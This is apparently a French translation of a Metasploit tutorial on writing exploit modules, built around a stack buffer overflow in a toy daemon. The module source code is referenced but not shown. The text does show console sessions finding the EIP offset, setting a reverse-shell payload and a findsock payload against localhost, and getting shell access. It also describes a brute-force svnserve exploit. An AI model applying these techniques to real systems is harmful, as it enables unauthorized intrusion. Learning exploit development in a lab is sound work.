

Exploit Module Tutorial (French)

Ceci n'est pas un tutoriel sur les exploits. C'est simplement une simple description de comment écrire des exploits comme modules pour le metasploit framework.

Ce document ressemble à un tutoriel car nous pensons qu'un exemple est la meilleure manière d'apprendre comment écrire pour le Metasploit. Ces exemples sont seulement un petit aperçu de ce qui fonctionne et de ce qu'il est possible de faire. La meilleure manière pour apprendre des capacités plus avancées est de lire le code de nos modules, le code du framework, et de nous mailer des questions (dans cet ordre ;)). Par exemple, si vous écrivez un exploit de force brute linux, chercher dans nos exploits et trouver quelquechose de similaire. Vous pourrez ainsi non seulement voir comment nous l'avons fait, mais aussi remarquer notre norme de nommage des options, nos techniques, etc.

Commençons avec un exemple simple de dépassement de tampon en réseau. C'est un démon simple qui n'écoute qu'une seule connexion, la lit, et s'interrompt.

[code source dans vuln1.c]

Vous pouvez voir que nous avons un dépassement de tampon quand on envoie plus de 64 caractères de données. La stratégie (du fait que c'est un coup en un), est d'envoyer un gros nopsled, et de retourner directement dans la pile. Nous allons commencer un nouveau module d'exploit Metasploit, remplir les informations, et utiliser quelques routines de développement pour trouver l'offset d'EIP.

[code source dans vuln1_1.pm]

Il y a beaucoup de commentaires dans le module d'exploit. Pour notre premier exemple, nous écrivons un exploit simple sans support de cible ou de payload. Nous voulons seulement rassembler quelques informations générales sur le bogue, et les utiliser pour écrire notre exploit. Nous récoltons quelques meta données sur l'exploit, comme le nom, les auteurs, les architectures/systèmes d'exploitation supportés, etc. Nous créons la méthode Exploit, le code qui sera appelé par le framework quand l'utilisateur choisira d'exécuter vos modules d'exploit.

```
msf> use vuln1_1
msf vuln1_1> show options
```

Options de l'Exploit

=====

Exploit:	Nom	Défaut	Description
requis	RHOST		L'adresse de la cible
requis	RPORT	11221	Le port cible

Cible: Exploit sans cible

```
msf vuln1_1> set RHOST 127.0.0.1
RHOST -> 127.0.0.1
msf vuln1_1> exploit
```

.... Dans une autre fenêtre

Program received signal SIGSEGV, Segmentation fault.

0x63413563 in ?? ()

(gdb)

```
# perl sdk/patternOffset.pl 0x63413563
```

```
76
```

Nous utilisons l'outil patternOffset.pl pour trouver l'offset d'EIP (76). Nous utilisons également gdb pour extraire la valeur d'esp (0xbffffa30) sur notre système.

[code source dans vuln1_2.pm]

Nous avons maintenant assez d'informations pour commencer à écrire un exploit. Nous ajoutons la Cible (seulement une pour mon système), et indiquons aussi au Framework de permettre l'utilisation avec un payload.

Nous pouvons utiliser cette information et commencer à écrire un exploit fonctionnel (pour notre système). Nous ajoutons une entrée Payload, indiquant au Framework de demander un payload à l'utilisateur, et nous permettre d'utiliser ce payload depuis l'entrée EncodedPayload que le Framework prépare dans l'environnement.

EncodedPayload est un objet, et nous appelons simplement la méthode Payload.

Nous préparons des options Avancées pour quelques détails de notre exploit. C'est surtout pratique pour le développement, ou d'autres chercheurs travaillant avec vos exploits. Ce ne sont pas des options qu'un utilisateur standard changera, mais j'ai trouvé qu'ajouter des options comme celles-ci est très utile.

Il est important de noter que vous appeller GetLocal pour les Options Avancées! La règle générale est d'appeller GetLocal pour les Options avancées, et GetVar pour tout le reste. La différence principale entre les deux est que GetLocal ne va pas regarder dans l'Environnement Global (pas totalement vrai, mais assez quand même).

Nous avons fini le module, et il fonctionne!

```
msf vuln1_2(linx86_reverse) > show options
```

Exploit and Payload Options

=====

Exploit:	Nom	Défaut	Description
required	RHOST	127.0.0.1	L'adresse de la cible
required	RPORT	11221	Le port cible

Payload:	Nom	Défaut	Description

required	LHOST	127.0.0.1	Adresse locale pour recevoir la connexion
required	LPORT	12322	Port local pour recevoir la connexion

Cible: Slackware Linux

```
msf vuln1_2(linx86_reverse) > set
LHOST: 127.0.0.1
LPORT: 12322
PAYLOAD: linx86_reverse
RHOST: 127.0.0.1
TARGET: 0
msf vuln1_2(linx86_reverse) > exploit
[*] Starting Reverse Handler.
[*] Got connection from 127.0.0.1:32896
```

```
id
uid=1000(spoonm) gid=1000(spoonm) groups=1000(spoonm)
```

[code source dans vuln1_3.pm]

Ce programme exploitable aura le socket ouvert lorsque nous gagnerons le contrôle d'exécution. Cela nous permet de supporter les payloads findsock, permettant la réutilisation de la connexion initiale que nous avons faite au service.

Nous informons le Framework que nous supportons les payloads marqués avec le mot clé findsock, en l'ajoutant à notre liste de clés de payload supportés (avec le +findsock). Avec le support de findsock, nous devons également mettre l'option CPORT en dehors de l'environnement. CPORT est utilisé par les payloads findsock du genre srcport, permettant à l'exploit et aux payloads de connaître tous les deux le srcport avec lequel la connexion sera faite (utilisé pour identifier le socket dans le shellcode). L'option CPORT est ajoutée dans UserOpts par le Payload, et est uniquement nécessaire du côté utilisateur en utilisant un payload findsock du genre srcport. Du point de vue de l'exploit, vous devez savoir que cette option doit être configurée, et la passer à la méthode de création du socket, créant le socket avec le srcport spécifié (si fourni).

Si un utilisateur n'utilise pas un payload findsock du genre srcport, CPORT sera non défini et le socket sera créé avec un port source aléatoire. Penser au srcport est très important, quelquefois il est nécessaire pour patienter un peu entre des tentatives de force brute pour permettre à l'ancien socket d'être libéré, ainsi vous pourrez réutiliser le port source. Il est également important de réaliser que vous ne pouvez pas avoir plusieurs connexions concurrentes avec le même srcport, ainsi CPORT doit seulement être passé sur la connexion comme pour avoir le shell (cad, vous aviez un exploit qui nécessitait que plus d'une connexion soit faite).

Nous ajoutons quelques bonnes fonctionnalités à l'exploit, affichant des informations sur la cible qu'il est en train d'essayer, informant l'utilisateur que des choses se passent.

Voici une démonstration d'un findsock fonctionnant (du genre tag recv, pas CPORT).

```
msf vuln1_3(linx86_findrecv) > show options
```

Exploit and Payload Options

=====

Exploit:	Nom	Défaut	Description
required	RHOST	127.0.0.1	L'adresse de la cible
required	RPORT	11221	Le port cible

Payload:	Nom	Défaut	Description
-----	-----	-----	-----

Cible: Slackware Linux

```
msf vuln1_3(linx86_findrecv) > set
```

```
PAYLOAD: linx86_findrecv
```

```
RHOST: 127.0.0.1
```

```
TARGET: 0
```

```
msf vuln1_3(linx86_findrecv) > exploit
```

```
Trying Slackware Linux - 0xbffffa60
```

```
[*] Findsock found shell...
```

```
id
```

```
uid=1000(spoonm) gid=1000(spoonm) groups=1000(spoonm)
```

Au lieu d'écrire une démonstration plus compliquée d'un programme vulnérable (comme un qui fait une fourche), j'ai documenté le module `svnserve_date`. Ce module exploite le démon subversion `svnserve`, et démontre un exploit de force brute avec les deux cibles linux et freebsd, et le support findsock.

[code source dans `svnserve_date.pm`]

Ce document devrait suffir pour avoir les pieds sur terre et être familier avec l'aspect développement du Metasploit Framework. Les choses nécessaires pour les exploits requièrent vraiment souvent et grandement des fonctionnalités spécifiques et le support de la part du Framework. Nous avons écrit un grand nombre de modules différents qui sont avantageés par différentes parties du framework, et suggèrent d'être lus pour devenir un développeur de module plus avancé.

Merci de ne pas fumer, et amusez-vous bien.